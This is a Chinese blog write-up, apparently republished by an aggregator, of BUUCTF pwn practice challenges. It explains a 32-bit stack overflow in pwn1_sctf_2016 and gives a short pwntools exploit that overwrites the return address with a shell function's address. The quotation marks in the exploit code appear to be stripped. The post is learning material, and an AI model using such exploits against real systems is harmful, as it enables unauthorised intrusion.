&pwn1_sctf_2016 &ciscn_2019_n_1 &ciscn_2019_c_1 &ciscn_2019_en_2&

Posted bhxdn

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了&pwn1_sctf_2016 &ciscn_2019_n_1 &ciscn_2019_c_1 &ciscn_2019_en_2&相关的知识,希望对你有一定的参考价值。

  在做buu题目的时候,发现在最上面有几道被各位师傅打到1分的题,强迫症逼迫我去做那几道题。

技术图片

  这里来试着去解决这些题。。。讲真的,我感觉自己刷题真的少,即使是很简单的栈题目,我还是能学习到新的东西。这里就记录一下这几道题。

  pwn1_sctf_2016

  检查了一下保护,32位程序,只开启了堆栈不可执行。直接ida看一下伪代码吧。

技术图片

  看代码也就是一个简单的栈溢出。但是我并没有自己做出这道题,太菜了。。。大一下学期我们有开设C++这门课,但是我由于一些事情,在家休息了一个多月,结果课也落下了。。。太痛苦了,C++吃亏在这里了,总要补的。。。

  其实这个CTF就应该半分做,半分蒙。可以看到fgets是对我们输入的内容进行了限制,所以我们不能溢出到返回地址,但是可以看到两个字符串“I”和“you”,其实应该输入这几个字符串进去看看是什么意思的。技术图片

  这里其实是一个回显,但是你如果输入“I”的话,就会给你自动转换成you,所以就解决溢出不到返回地址的问题了。接下来就是计算了。题目本身有可以直接拿shell的函数,直接返回地址转到那个shell 的地址就行了。还是羞耻的贴一下exp:

  

 1 from pwn import *
 2 
 3 p = process(./1)
 4 context.log_level = debug
 5 
 6 shell_addr = 0x08048F0D
 7 
 8 payload = I*21 + b + p32(shell_addr)
 9 p.sendline(payload)
10 p.recv()
11 p.recv()

  

  ciscn_2019_n_1

  64位程序,保护只开启了堆栈不可执行。

 

以上是关于&pwn1_sctf_2016 &ciscn_2019_n_1 &ciscn_2019_c_1 &ciscn_2019_en_2&的主要内容,如果未能解决你的问题,请参考以下文章

[TJOI2016&&HEOI2016]求和

Bzoj4555: [Tjoi2016&Heoi2016]求和

Luogu P4093 [HEOI2016/TJOI2016]序列

BZOJ4555: [Tjoi2016&Heoi2016]求和

bzoj4555 [Tjoi2016&Heoi2016]求和

BZOJ4555: [Tjoi2016&Heoi2016]求和